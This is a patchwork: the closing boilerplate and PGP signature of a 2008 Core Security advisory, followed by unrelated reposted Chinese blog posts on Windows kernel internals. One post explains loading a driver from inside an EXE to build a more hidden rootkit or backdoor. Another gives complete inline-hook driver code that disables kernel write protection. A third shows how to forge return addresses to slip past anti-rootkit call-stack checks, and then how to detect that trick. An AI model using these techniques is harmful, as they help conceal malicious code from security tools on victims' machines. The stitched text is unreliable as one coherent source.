*About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.
*About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
*Disclaimer*
The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
*GPG/PGP Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFIFj4WyNibggitWa0RAkUcAJ9yUGXQQV5ZQ1J0R2U+MSTMRuHa4wCgkXh1
UGe5qGGTXrCSFfFX3JH6ovE=
=3mt3
-----END PGP SIGNATURE-----
[zz]在EXE中创建、加载内核驱动
很早就看过高手写过的文章,<<脚本的故事>>、<
在 网上见过一些rootkit,通常做法是写驱动,然后将驱动包含在exe中,运行时释放驱动为一个独立文件,然后加载驱动,由驱动完成Rootkit的各 种功能,这样就会生成两个文件。为什么不把它们在一个exe文件中实现呢?今天我们就试验一下,能不能在exe中实现驱动的功能。
其实这个想法来自一个程序。当时想试验一下arp攻击,还以为win32下有相关的系统调用,google了一把,不,baidu了一把,google看 不懂,说win32下发包IpPacket到可以,Arp只能用IpHlpApi提供的SendARP()函数发送(可能孤陋寡闻),而且不能手动构造 arp包,而且SP2下发送TCP SYN是不允许的。晕。借助工具的话就要使用WinPcap,或者自己写驱动。我当时想是否能像Fport那样,直接操作AFD(好像是TDI,还是\ device\tcp udp?),会不会能成功。看了看网上流传的源码,好复杂。WinPcap导出的调用很简单,而且linux下可以平滑过渡。不过,我的初始想法是一个比 较隐蔽的程序,这就要求它有很高的独立性。所以,很自然的落到了exe驱动上来。
第一个想法:在exe中导出DriverEntry,看了看sys文件,好像没有这个导出函数,那么程序入口就是DriverEntry,但是win32 下exe的ImageBase是4MB,驱动好像是0x10000,不知道win32在加载时会不会对程序作重定位。将EXE的入口修改为 DriverEntry…,然后在入口函数中作判断,是用户态还是ring0。好像VC的编译器会在入口加入xxx代码,这样很麻烦,而且相当麻烦。以上 证明这个想法暂时不对。不过突然有个想法,程序里面包含main 和DriverEntry,入口为main,运行后修改入口为DriverEntry,然后加载驱动…,弊端很多…
第二个想法,在exe中执行ring0代码。这是老想法了,网上有无驱执行ring0的源码,我当初也装模作样的分析了一下。具体的实现方法是使用\ Device\PhysicalMemory对象映射物理内存并修改(GDT,IDT,或者hook内核函数),对此有篇文章有精彩的解说(baidu关 键字’/dev/kmem ring0’)。个人觉得hook内核函数比较简单快速,进入ring0后不需要作任何环境修改。如果使用中断门或者调用门,构造就很麻烦,而且好像在哪 见过门的段地址要自己重新构造…。没试验过,仅是猜测。
具体思路:
(1) 使用ZwQuerySystemInformation获取ntoskrnl.exe的基址
(2) 用户态加载ntoskrnl.exe,获取内核api相对于它所在模块基址的偏移,加上内核镜像的基址获得真正的api的地址,计算需要使用的Kernel API的地址。
(3) 将api地址减去0x80000000(NT使用flat内存映射,前512Mb物理内存直接映射到2GB,不知道打开/3GB开关是什么情况,暂不考虑),获得api的物理内存地址
(4) 映射物理内存并写入hook代码
(5) 调用Kernel API对应的NaiveAPI,进入ring0
(6) 系统调用在当前进程的内存空间执行,所以可以使用整个进程空间,直接调用(2)计算的KernelAPI完成任务(注意Irql)
看 到这里,问题似乎解决了。但是,以上方法只能执行ring0代码并不能实现驱动所实现的功能,功能还非常弱,对于一个简单的 MemoryDump/ProcessList还可以,其它很多都受限制。由于代码运行于进程用户内存空间,使用内核栈,如果在别的进程空间调用将 KeBugCheck之类的…。很自然,我们会想到把代码拷贝到内核空间去运行。这的确是解决方法。
第一种方案:由于KernelAPI大部分由 ntoskrnl.exe和HAL.DLL导出,我们可以计算这些导出函数的地址,调用ExAllocatePool()分配空间(设 pKeApiSet),拷贝。然后使用同样的方法来拷贝函数代码到内核,然后将pKeApiSet作为拷贝函数的参数,调用,这样代码就运行在内核空间 了,但是还是只能在当前线程的时间片下运行。如果向其它驱动注册回调函数就麻烦了,因为这些函数都有固定的格式,而且调用时无法取得我们自己的参数。使用 过下面的方法解决了这个问题:
//===========================================
//修改堆栈,对于_fastcall没试过 !!!!!
#define X_RELOC_CODE "\xFF\x34\x24"\
"\xC7\x44\x24\x04\x00\x00\x00\x00"
//若想对齐,此代码后面可以加入 nop nop
//若想跳转,此处加入push addr; ret即可,好像不能直接jmp abs_addr??(VC)
//vc编译使用相对地址
// __asm push dword ptr [esp]
// __asm mov dword [esp+4],lpParam
#define X_RELOC_HEADER_SIZE 11
#define X_RELOC_CODE_SIZE 11
//辅助结构,便于抽象理解,汗
typedef struct
{
char b1[7];
void *lpParam;
}X_RELOC_HEADER;
//=================================================
X_RELOC_HEADER *pCode=( X_RELOC_HEADER *)__KeApiSet.ExAllocatePool(NonPagedPool,UPALIGN(size+ X_RELOC_CODE_SIZE,4096));
Memcpy((char *)pCode, X_RELOC_CODE, X_RELOC_CODE_SIZE);
pCode->lpParam=(void *)&__KeApiSet;
//x_size>=MyCallback函数的大小
memcpy((void *)((ULONG)pCode+11),(void *)MyCallback,x_size);
//这里将pCode注册到其它驱动或者对象的回调函数去,对于新的回调函数添加一个参数(指向__KeApiSet)在最左边。
例如,原来的回调函数为
OriginalCallback(Type1 Param1,Type2 Param2….)
新的回调函数如下
MyCallback(void *lpParam, Type1 Param1,Type2 Param2…)
其实就是在调用函数时修改函数堆栈
------------------------------------------------------------------------
NewCallback à |EIP |OriginalCallbackà |EIP | à |MyParam | |Param1| à |Param1 | |Param2| à |Param2 |
堆栈状态
------------------------------------------------------------------------
CodeAddrà NewCodeLayoutà
|push ebp | |push dword ptr [esp] |
|mov ebp,esp | |movdword [esp+4],xParam |
|sub esp,xxxx | à |push ebp |
| …. | |mov ebp,esp |
代码状态
------------------------------------------------------------------------
还有一种方法是使用EIP定位。Linux下的动态库有一种浮动代码的技术,其中就用到了使用EIP定位,原理如下
Call Nextaddr___ //push eip(=Nextaddr___) + jmp addr
Nextaddr___: //
Pop ebx //ebx=EIP
在刚进入函数时获取EIP值,将参数拷贝到代码前面,eip减去一个数值就可以找到参数。不过这样好象有点麻烦。
后来想起来VC编译器支持一种naked函数,用这个函数__declspec(naked)写就可以了,白白花费了这么长时间。
应用:使用第一种方法(代码拷贝到内核空间,修改堆栈),在进入ring0后,可以注册一个回调函数到IPFilterDriver,实现一个简单的Ip 过滤,美其名曰:“放火墙”。 IoGetDevicePointerIoBuildDeviceIoControlRequestIofCallDriver。细节可以看网上的高 手写的xxxWndows下防火墙。
第三种方法,好像有篇文章说可以使用ZwSetSystemInformation(SysLoadAndCallImage),可以直接加载并运行,而且有种rootkit就使用了这种方法。具体没有看过,可以到网上看看。
本来到这里基本算结束了,但是上面的方法只能实现简单的功能,而且代码有点复杂,对于第二种方法,特别是函数调用,必须使用额外参数来定位。这样还不如单 独写一个sys文件快。这时我考虑到了代码重定位,于是baidu一下,找到了局部变量大哥写的《NT环境下进程的隐藏》,如获珍宝,自己按着方法把代码 重写了一遍,学到不少。其实PE教程说的很明白,就是看不下去…。
对EXE进行重定位方法我就不多说了。具体方法就是在内核空间中分配代内存,拷贝自身镜像到内核,然后对内核空间的镜像作重定位。由于进入ring0后, 在win2k下还可以调用用户态API(printf()还可以使用,在当前进程空间),在xp下调用会导致进程退出,估计对调用前后状态或者地址作了限 制。
有了重定位,就可在函数中使用全局变量,这样对函数的限制大大减小。但还有个问题,就是对kernel API的调用还是使用的显式调用,非常麻烦,对每个函数都要GetProcAddress(),于是我将ntoskrnl.lib和hal.lib加入到 程序中,原本以为这样就可以了,可是编译通过,程序根本运行不起来,运行便出错。不知道是机器上的VC有问题,还是…,估计是加载EXE时,回加载它所使 用的所有库,估计在加载ntoskrnl.exe时出错了。我手动修改PE的导入表,去掉ntoskrnl.exe模块,程序便能正常运行。
卡到 了这里,决定使用先编译,再用工具修改导入表,去掉ntoskrnl.exe的引用。方法就是将ntoskrnl.exe的描述符放到导入表的最后一项, 然后将ntoskrnl.exe的IMAGE_IMPORT_DESCRIPTOR拷贝到程序的其他地方(就像病毒那样,将代码写入到PE的间隙处,VC 默认对齐大小是4096,这样会有很多空隙),然后将这项置零。这样加载时就不会加载ntoskrnl.exe。说起来容易,实际根本不可行,也没试,因 为我查到了VC编译器的延时加载功能(/DelayLoad:dll_name)。
通常在调用dll导出函数时,编译器为所调用的函数生成导入地址表,将函数所在模块生成IMAGE_IMPORT_DESCRIPTOR,win32在加 载程序时会自动加载指定的模块,并确定导入函数的实际地址。DelayLoad将所调用的导出函数生成一个stub,类似如下:
Pid=PsGetCurentProcessId();
Call 40E68E //这里使用了Debug模式/增量编译,所以会有个跳转
//release/static/GZ估计为call dword ptr[xxxxxxxx]
-------------------------------------------------------------------------------
0040E682 Push ecx
Push edx
Push 00429364 //压入IAT地址
Jmp 40E66E
-------------------------------------------------------------------------------
0040E68E jmp dword ptr [00429364]//0040E682
-------------------------------------------------------------------------------
0040E66E Push 00429000 //压入PCImgDelayDescr地址,类似导入表
Call 00401087 //__delayLoadHelper(pImgDelayDesc,ppfnIATEntry)
Pop edx //__ delayLoadHelper计算API真正地址,填入IAT
Pop ecx
Jmp eax //eax=Real Address==[IAT]
-------------------------------------------------------------------------------
由 于PCImgDelayDescr被放置在单独的延时输入描述符目录中,而不是通常的输入表目录,所以win32在加载时,这些延时加载的模块不会被加 载。第一次调用函数时IAT间接指向__delayLoadHelper函数,而__delayLoadHelper根据函数所在模块名和函数名计算函数 地址,然后写会IAT,下次执行直接跳转到真正的函数地址上去。
DelayLoad的这种特性正好解决了当前的问题。方法就是连接ntoskrnl.lib和hal.lib,然后将ntoskrnl.exe和 hal.dll延时加载,自己重写__delayLoadHelper函数来取得KernelAPi的地址,这样问题迎刃而解了。VC6自己的 __delayLoadHelper函数在文件DELAYHLP.CPP中实现,其中加入了对函数Hook的功能,就是导出两个函数指针,在 __delayLoadHelper中先调用指针指向的函数,若为空怎使用默认的LoadLibrary()和GetProcAddress()。这样如 果想hook函数只需要将模块延时加载然后自己实现__pfnDliNotifyHook即可。
问题:
(1) 由于在内核之中,(同一进程空间)不能调用win32API (XP下不行,2K下可以,注意:非GUI API),如果还可能在其它进程空间使用,则根本不能使用UserAPI
(2) 经过重定位的镜像在获取API名称时有问题,镜像基址大于0x80000000,地址的最高位肯定为1,这在PE中与函数的INT冲突,信息会丢失。
解决方法:
(1) 其实使用的API就是LoadLibrary() 和GetProcAddress,重写LoadLibrary和GetProcAddress函数即可。对于LoadLibrary(),只需要调用 ZwQuerySystemInformation获得模块的基址即可;对于GetProcAddress,根据模块镜像的基址找到 IMAGE_NT_HEADERS->IMAGE_EXPORT_DIRECTORY逐个查找即可,注意函数使用序号(ordinal)的查找。
(2) WIN32 PE文件的导入表和延时加载描述符表都有各自的INT和IAT(暂时这样理解),对于函数地址的确定都使用类似的机制。从INT获得函数名称或者函数 ordinal,然后从模块里查找函数地址,填入IAT,只是确定函数地址时间有不同。对于函数名称,,PE使用IMAGE_THUNK_DATA来描 述,它其实是一个DWORD指针,指向一个DWORD数组,对于数组中的每个DWORD,如果最高位为1(& IMAGE_ORDINAL_FLAG32),则此函数按序号引入,否则此DWORD指向一个IMAGE_IMPORT_BY_NAME结构,此结构包含 函数名称字符串的RVA。普通Win32进程运行在0-2GB中,所以这没问题。但我们的镜像被拷贝到0xFExx xxxx ,重定位后IMAGE_THUNK_DATA的地址肯定>0x80000000,所以只能根据经验,全部按名称引入,理由是NT、95的函数序号并 不一致(从书上看的,很简单,xp导出的函数比2K多,如果按序号肯定出问题)。就在这个地方,没有调试器,只有printf,浪费了两天的时间,晕。还 以为是VC自带的代码决不会有问题,重写__delayLoadHelper后解决(__delayLoadHelper对函数Ordinal & IMAGE_ORDINAL_FLAG做了判断…)。
呵呵,终于到主题了,其实前面的要困难些。当代运行在ring0时,它已经能实现多数功能了,但是如果要作个木马,后门之类的,还要解决与用户态通信的问 题(其实并不是这样),所以想到了事件之类的,或者ring0 call ring0,apc…最后还是落到了文件设备上。通过文件设备,任何进程都可以与ring0通信,而且创建驱动的宿主可以安全撤退。如果使用ring0 代码(call gate,hook),则进程不能退出,因为线程的系统调用没有返回,所以即使强行中止也无济于事。如果通过ring0代码创建一个驱动,然后ring0 返回到ring3,进程就可以安全退出。而这时的代码还驻留在内核的未分页区,以回调的方式响应请求。
学过操作系统都知道,VFS的特性,就是所有设备都是用文件来表示,其实质就是分层的函数调用,使用注册机制来处理各种设备之间的差异。实际实现表现为一 个文件对象对应一个设备对象,同时设备对象又对应一个驱动对象,不同的i/o请求通过文件对象分发到不同的设备,进而转发到设备对应的驱动对象,由驱动完 成最终请求。这种分层的设计有何多优点,特别适合扩展和抽象,下面深略3000字。
要创建驱动,无非就是创建一个驱动对象,创建一个设备对象,注册函数到设备对象,然后创建设备链接以使win32可以访问到设备。看win2K 源码(\private\ntos\io\internal.c),驱动加载的基本过程为
一堆注册表操作
取得驱动文件名
MmLoadSystemImage()加载驱动到内存
ObCreateObject()创建驱动对象
对驱动对象的各成员初始化
ObInsertObject()
ObReferenceObjectByHandle() //取得对象指针
NtClose() //关闭ObInsertObject()创建的句柄
驱动名称操作..
status = driverObject->DriverInit( driverObject, ®istryPath->Name );
//调用驱动入口DriverEntry进行驱动初始化
检查驱动对象的合法性(MajorFunction函数,驱动是否创建设备…)
IopBootLog()
MmFreeDriverInitialization()
IopReadyDeviceObjects() //VIP!!!!!
有了上面的过程,基本可以自己手动创建驱动并加载了,看了看搜索结果,发现ntoskrnl.exe导出了IoCreatDriver这个函数,其中实现了IopLoadDriver的大部分功能,事情变得简单起来。
NTKERNELAPI
NTSTATUS
IoCreateDriver (
IN PUNICODE_STRING DriverName, OPTIONAL
IN PDRIVER_INITIALIZE InitializationFunction
);
具体方法就是:用exe中的DriverEntry做为参数,调用IoCreateDriver,即可实现驱动的加载。
当在win2K下运行程序后,用WinObj居然打开失败。晕,再次看IoLoadDeiver,才发现漏掉了一个重要地方,创建驱动时,驱动对象的标志 Flags和所创建设备的标志都有限制,使用IopReadyDeviceObjects()来添加驱动DRVO_INITIALIZED标志和,去掉驱 动创建的所有设备的DO_DEVICE_INITIALIZING标志。IopReadyDeviceObjects()函数没有被 ntoskrnl.exe导出?简单,自己写就行了。曾找不到问题原因时,还重写过IopfCompleteRquest和 IopCompleteRequest,那才叫痛苦呢。
Finally,搞定。为了方便,写了一个库,下次使用时就简单多了
#include “DrvHlpApi.h”
NTSTATUS Driverentry(void *pDriverObject,void *pRegPath)
{
// ….IoCreateDevice()..
Return STATUS_SUCCESS;
}
Int main(int argc.char **argv)
{
x_InitRing0Utils();
x_StartDriver((ULONG)DriverEntry,0,0);
return 0;
}
使用这个方法,完全可以实现驱动的所有功能,同时将它与win32程序结合在一起。在XP SP2和win2k SP4下测试通过(就试过IpFilter那个)。就这么简单。有兴趣的朋友可以mail来取得代码,头文件和库可以在http://icelord.bokee.com下载到。
1.《NT环境下进程的隐藏》
2.Win2K Source Code
3.PE文件格式详解
4.Ring0Demo.c v1.0 by zzzEVAzzz
5.《开发windows 2K/XP 下的防火墙》
NT内核下的inline hook,附完整的代码和工程文件
原理上很简单的东西,但我想很多新手都苦于找不到完整的示例 代码,下面就是一份完整的代码
inline hook原理大概如下:
修改被HOOK函数A的头5个字节,使其跳转到我们自定义的函数B,函数B的类型与函数A要相同。因为我们是使用JMP直接跳转到函数B,
而不是使用正常的CALL指令。在函数B内,我们可以检查函数参数,然后可以直接返回。也可以再调用函数A的一个副本。这个副本在HOOK动作发生的同时,就保存下来了。
代码非常简单,工程打包供大家学习。高手飘过
/*
* krembo.c, Demonstration of inline hooking (aka. Detouring) within driver/kernel.
* - izik@tty64.org
*/
#include
// Assembly JMP opcode value
#ifndef X86_JMP
#define X86_JMP 0xE9
#endif
// Number of bytes to overwrite
#ifndef JMP_LENGTH
#define JMP_LENGTH sizeof(X86_JMP) + sizeof(int)
#endif
// Size of a page (4k)
#ifndef PAGE_SIZE
#define PAGE_SIZE 0x1000
#endif
// Pointers macros
#define PAGE_MASK(ptr) (ptr & 0xFFFFF000)
#define OFFSET_IN_PAGE(ptr) (ptr - (ptr & 0xFFFFF000))
// RtlRandom pointer prototype
typedef unsigned long (*RTLRANDOM)(
unsigned long *seed
);
// Pointers to duplicated (original) and current versions of RtlRandom
RTLRANDOM pDupRtlRandom;
RTLRANDOM pCurRtlRandom;
/*
* DetourFunction, Detour a function (Install Detour)
* * pFcnAddr, Pointer to the soon-to-be-detoured function
* * iHookAddr, Address of the hook function
* * iPoolType, Pool type of allocated memory
*/
void *DetourFunction(char *pFcnAddr, int iHookAddr, int iPoolType) {
void *pOrigPage;
// Allocate a `PAGE_SIZE` for the original function (duplicate)
pOrigPage = ExAllocatePoolWithTag(iPoolType, PAGE_SIZE, 0xdeadbeef);//分配一页内存,该函数在WIN 2000下可能不存在,XP下没问题
// Is there enough resources?
if (pOrigPage == NULL) {
return NULL;
}
// Duplicate the entire page
RtlCopyMemory(pOrigPage, (char *)PAGE_MASK((int)pFcnAddr), PAGE_SIZE);//拷贝函数内容,把函数所在的一整页都拷贝下来。如果函数不仅仅占据一页呢?
// Calculate the relocation to `iHookAddr`
iHookAddr -= ((int)pFcnAddr + 5);//iHookAddr = iHookAddr - (pFcnAddr +5) iHookAddr是跳转的相对地址
_asm
{
CLI // disable interrupt
MOV EAX, CR0 // move CR0 register into EAX
AND EAX, NOT 10000H // disable WP bit
MOV CR0, EAX // write register back
}
// Overwrite the first `JMP_LENGTH` bytes of pFcnAddr (Detour it)
*(pFcnAddr) = X86_JMP;
*(pFcnAddr+1) = (iHookAddr & 0xFF);
*(pFcnAddr+2) = (iHookAddr >> 8) & 0xFF;
*(pFcnAddr+3) = (iHookAddr >> 16) & 0xFF;
*(pFcnAddr+4) = (iHookAddr >> 24) & 0xFF;
_asm
{
MOV EAX, CR0 // move CR0 register into EAX
OR EAX, 10000H // enable WP bit
MOV CR0, EAX // write register back
STI // enable interrupt
}
// Return pointer to the duplicate function (within the duplicate page)
return (void *)((int)pOrigPage + OFFSET_IN_PAGE((int)pFcnAddr));//返回我们保存的函数副本地址(原件)
}
/*
* MyRtlRandom, RtlRandom hook
* * seed, given seed
*/
unsigned long MyRtlRandom(unsigned long *seed) {//HOOK发生时,原始函数跳转到该函数位置,★该函数的类型与原始函数相同
unsigned long retval;
DbgPrint(("MyRtlRandom invoked "));
retval = pDupRtlRandom(seed); //retval 是被HOOK函数的原件的地址,见DriverEntry(),在该函数内部又调用原始函数的原件(副本)
//DbgPrint(("Returning value = %d, from OldRtlRandom(%d)\n"));
return retval;
}
/*
* RestoreDetouredFunction, Restore a detoured function (Remove detour)
* * pDupFcn, Pointer to the duplicated function
* * pOrigFcn, Pointer to the original function
*/
void RestoreDetouredFunction(char *pOrigFcn, char *pDupFcn) { //移除HOOK
int offset;
_asm
{
CLI // disable interrupt
MOV EAX, CR0 // move CR0 register into EAX
AND EAX, NOT 10000H // disable WP bit
MOV CR0, EAX // write register back
}
// Uninstall the detour, Restore `JMP_LENGHT` bytes from the duplicate function.
for (offset = 0; offset < JMP_LENGTH; offset++) {
pOrigFcn[offset] = pDupFcn[offset];
}
_asm
{
MOV EAX, CR0 // move CR0 register into EAX
OR EAX, 10000H // enable WP bit
MOV CR0, EAX // write register back
STI // enable interrupt
}
// Deallocate the duplicate page
ExFreePoolWithTag((void *)((int)pDupFcn - OFFSET_IN_PAGE((int)pOrigFcn)), 0xdeadbeef);
return ;
}
/*
* DriverUnload, Driver unload point
* * DriverObject, self (Driver)
*/
void DriverUnload(IN PDRIVER_OBJECT DriverObject) {
unsigned long seed;
if (pDupRtlRandom != NULL) { //pDupRtlRandom为我们保存的原始函数原件
DbgPrint(("Removeing detour from RtlRandom\n"));
// Remove detour
RestoreDetouredFunction((char *)pCurRtlRandom, (char *)pDupRtlRandom);
// Do another self-test
seed = 31337;
pCurRtlRandom(&seed);
// No bugcheck? ;-)
}
//DbgPrint(("Krembo unloaded!\n"));
return ;
}
/*
* DriverEntry, Driver Single Entry Point
* * DriverObject, self (Driver)
* * RegistryPath, given RegistryPath
*/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UNICODE_STRING pFcnName;
unsigned long seed;
//DbgPrint(("Krembo loaded!\n"));
// Register unload routine
DriverObject->DriverUnload = DriverUnload;
// Lookup RtlRandom address
RtlInitUnicodeString(&pFcnName, L"RtlRandom");
pCurRtlRandom = MmGetSystemRoutineAddress(&pFcnName);
//DbgPrint(("Found RtlRandom @ 0x%08x\n", pCurRtlRandom));
// Detour RtlRandom
pDupRtlRandom = DetourFunction((char *)pCurRtlRandom, (int)MyRtlRandom, (int)NonPagedPool);
// Detour status?
if (pDupRtlRandom == NULL) {
// Unable to detour
DbgPrint(("Unable to detour RtlRandom! (Not enough resources?)\n"));
} else {
//DbgPrint(("Duplicate Function @ 0x%08x\n", pDupRtlRandom));
// Detour installed, do a self-test
DbgPrint(("Detour installed, going into a self-test ...\n"));
////DbgPrint(("Detour installed, going into a self-test ...\n"));
// Dummy seed for the self-test
seed = 31337;
pCurRtlRandom(&seed);
}
return STATUS_SUCCESS;
}
晕,不知道怎么添加附件。firefox 功能就是不如IE。不过代码都在这里了,COPY下然后编译就OK了
伪造返回地址绕过CallStack检测
伪造返回地址绕过CallStack检测以及检测伪造返回地址的实践笔记
Author:[CISRG]KiSSinGGer
E-mail:kissingger@gmail.com
MSN:kyller_clemens@hotmail.com
题目有点搞......Anti-CallStack Check and Anti-Anti-CallStack Check...(;- -)
发现最近MJ0011的“基于CallStack的Anti-Rootkit HOOK检测思路”和gyzy的“基于栈指纹检测缓冲区溢出的一点思路”两篇文章有异曲同工之妙。
两者都通过检测CallStack中的返回地址来做文章。
最近在初步学习一些AntiRootkit技术,这两个不得不吸引我的眼球。
按照MJ0011大侠的逻辑,从Rootkit Detector的Hook点向上检测CallStack.
但是CallStack里面都是些DWORDs,怎么判断哪儿是参数,哪儿是返回地址呢?
我Goo了两把...普遍是用EBP回溯的方式.
考虑大部分的__stdcall的形式:
mov edi edi
push ebp
mov ebp esp
...
...
我们从dword ptr [EBP]里面可以获得上个call的EBP,dword ptr [EBP+4]里面获得需要检测的返回地址,然后EBP = dword ptr [EBP],继续找下去.找到栈基址为止.
每次得到的返回地址,判断一下它是否在一个合法的模块中.
但是,根据gyzy大侠的<编写绕过卡巴主动防御的Shellcode>一文启示,我们可以知道如下一种方式,可使这样的检测方式失效.
1.在合法的系统模块里(e.g. ntoskrnl.exe),找到一个'C3'(ret Opcode)字节,它的指针是K.
2.使用如下方式的Hook函数
HookedZwXxx(...)
{
//
// 一些参数处理操作
//
jmp __pushrealretaddr
__trickstage:
push Arg[N] ;
push Arg[N-1]
...
push Arg[0]
push K //从一开始的push Arg[N]指令 到这里,我们实际上是自己模拟实现 call 指令的动作
jmp ZwXxx; // 自己模拟实现 call ZwXxx() ;返回地址 K 在合法模块 ntoskrnl.exe 中
//这种模拟技术还可以用于 bypass inline HOOK
__pushrealretaddr:
call __trickstage
realretaddr:
//
// 另一些结果处理操作
//
}
这样,在ZwXxx深处检查调用栈,dword ptr [EBP+4]是一个处于合法模块中的地址K.
//----------------------------------------------------------------------------------------
我写了一个如下的ring3示例程序.
定义如下一些函数:
int __stdcall Call_C(int a, int b)
{
check_callstack();
return a+b;
}
int __stdcall Call_B(int a, int b)
{
return Call_C(a,b);
}
int __stdcall Call_A(int a, int b)
{
return Call_B(a,b);
}
调用次序是A->B->C,其中C里面执行check_callstack()来检测是否有非法的返回地址.
void
__stdcall
check_callstack( void )
{
int saved_ebp;
int retaddr;
printf("Check Call Stack Methord 1:\n");
__asm
{
mov eax, dword ptr [ebp+4]
mov retaddr, eax //得到并保存函数的返回地址,不明白的话请看附图:_stdcall函数调用堆栈
mov eax, dword ptr [ebp]
mov saved_ebp, eax //保存原始的EBP
}
printf("retaddr = 0x%08X\n",retaddr);
while(saved_ebp <> 0) //检查EBP的有效性
{
if(saved_ebp != 0)
{
retaddr = *(int*)(saved_ebp+4); //ebp +4 为函数的返回地址 ,请看附图:_stdcall函数调用堆栈
printf("retaddr = 0x%08X\n",retaddr);
saved_ebp = *(int*)saved_ebp; //(回溯操作)修改saved_ebp为函数调用前的堆栈头,换句话讲,也就是调用该当前函数的“父函数”,它的堆栈头。
//你必须对线程内函数调用时的堆栈操作有清楚的认识
}
}
}
在没有Hook的情况下,我们执行Call_A(1,2),得到正常返回为3.
check_callstack输出:
retaddr = 0x00401008
retaddr = 0x00401030
retaddr = 0x00401050
retaddr = 0x00401126
retaddr = 0x0040149D
retaddr = 0x7C816FD7
我们现在使用一个函数Hooked_Call_B来在Call_A中把Call_B给Hook掉.
Hook掉的Call_B做的只是把的返回值改成4.
__declspec( naked )//这个函数定义前缀,告诉编译器对该函数代码就不再进行优化,从而可以提供对特殊地址的稳定访问。
int Hooked_Call_B(int a, int b)
{
__asm
{
push ebp
mov ebp, esp
jmp __a
__trickstage:
mov eax, b
push eax
mov eax, a
push eax
//为了方便这里使用一个OD得到的硬编码:P
push 0x004011AD //这个地址指向一个'C3'
jmp Call_B
__a:
call __trickstage //★注意,0x004011AD 处的 "C3",即ret 指令,是对应这个CALL的
mov eax, 4 //这里,改返回值,使得1+2的结果为4.
pop ebp
ret 8
}
}
用来改写Call_A的函数,这个函数在2003编译出来的EXE中会导致异常
因为.text段没有写权限.实际测试中我用StudPE改了段属性.在内核态
的话...这个修改代码段段属性问题...应该很简单把...
int __stdcall SetHook( int Hook_Call )
{
int Original_Call = 0;
int hook_pos = (int)Call_A;
//
// 以下丑陋代码是在Call_A中找到"call Call_B"指令的位置
//
__asm
{
__again:
mov eax,hook_pos
xor ecx,ecx
mov cl,byte ptr ds:[eax]
cmp cl,0xE8
je __finish
mov edx,hook_pos
add edx,1
mov hook_pos,edx
jmp __again
}
__finish: //将Call_A()中"call Call_B"指令的位置保存在 hook_pos 中
//
// 用Hook_Call patch掉call后面的地址,这段代码真的很丑陋 -_-
//
Hook_Call = Hook_Call - hook_pos - 5;
__asm
{
mov eax, Hook_Call
mov edi, hook_pos
mov dword ptr [edi+1], eax
}
return hook_pos;
}
我们之后将调用SetHook( Hooked_Call_B )将Call_A中的"call Call_B"改掉.
我们的Hooked_Call_B,在调试器中看到是[0x004010B0,0x004010D2]这段地址.
那么,如果我们根据EBP回溯CallStack的方法有效,在Hooked_Call_B生效以后应该成功的找到一个retaddr属于[0x004010B0,0x004010D2]区间.
遗憾的是,没有...
check_callstack输出:
retaddr = 0x00401008
retaddr = 0x00401030
retaddr = 0x004011AD <--注意这里 retaddr = 0x00401050 retaddr = 0x0040114D retaddr = 0x0040149D retaddr = 0x7C816FD7 我们可以看到,我们正常的返回地址被一个貌似合法的0x004011AD给偷梁换柱了. 于是,我们在这里断定...根据EBP的回溯,被这种方式(叫做Detour Ret? :P)给愚弄了. 另想辙. 我们来OD里面看看实际的堆栈,这是停在Call_C里面的时候. 0012FEA0 0012FEB4 <--当前EBP 0012FEA4 004011AD <--伪造的返回地址,指向C3 0012FEA8 00000001 <- 0012FEAC 00000002 <-两个参数 0012FEB0 004010CC <--真正的返回地址! 0012FEB4 /0012FEC4 0012FEB8 |00401050 0012FEBC |00000001 0012FEC0 |00000002 当Call_C退出时,执行: pop ebp ret 8 此后寄存器状态: ebp = 0012FEB4 esp = 0012FEB0 eip = 004011AD 这时就执行到004011AD了,004011AD处的ret将使得eip = dword ptr [esp],这样就顺利的返回到004010CC了. 呃?这么看来,004010CC这个恶意的返回地址确确实实是存在于CallStack中的.关键就是怎么确定它的. EBP回溯不行,也许ESP回溯...这个具体方式我这个愚人就不知了.MJ0011就是说使用ESP回溯的.这样得考虑经过的每个call的参数个数问题. 这样我就有了一个思路: 对每一个返回地址判断一下,是否指向一个'C3'. 若是,则retaddr = 第一个参数位置 + 参数个数*4 若否,则retaddr = dword ptr [EBP + 4] 改一下check_callstack: void __stdcall check_callstack( void ) { int saved_ebp; int retaddr; //[参数个数]x4,对于内核例程,参数一般是固定的. int stack_fix = 0x8; printf("Check Call Stack Methord 2:\n"); __asm { mov eax, dword ptr [ebp+4] mov retaddr, eax mov eax, dword ptr [ebp] mov saved_ebp, eax } printf("retaddr = 0x%08X\n",retaddr); while(saved_ebp <> 0)
{
if(saved_ebp != 0)
{
retaddr = *(int*)(saved_ebp+4);
printf("retaddr = 0x%08X\n",retaddr);
if(retaddr != 0)
{
if(*(unsigned char*)retaddr == 0xC3)
{
//
// 若返回指令指向一个'C3',我们得检查在参数push之后的返回地址
// Sorry for my 丑陋的表达式 :(
retaddr = *(int*)(saved_ebp+8+stack_fix);
printf("Suspicious retaddr found : 0x%08x\n",retaddr);
}
}
saved_ebp = *(int*)saved_ebp;
}
}
}
我们来运行程序来验证一下:
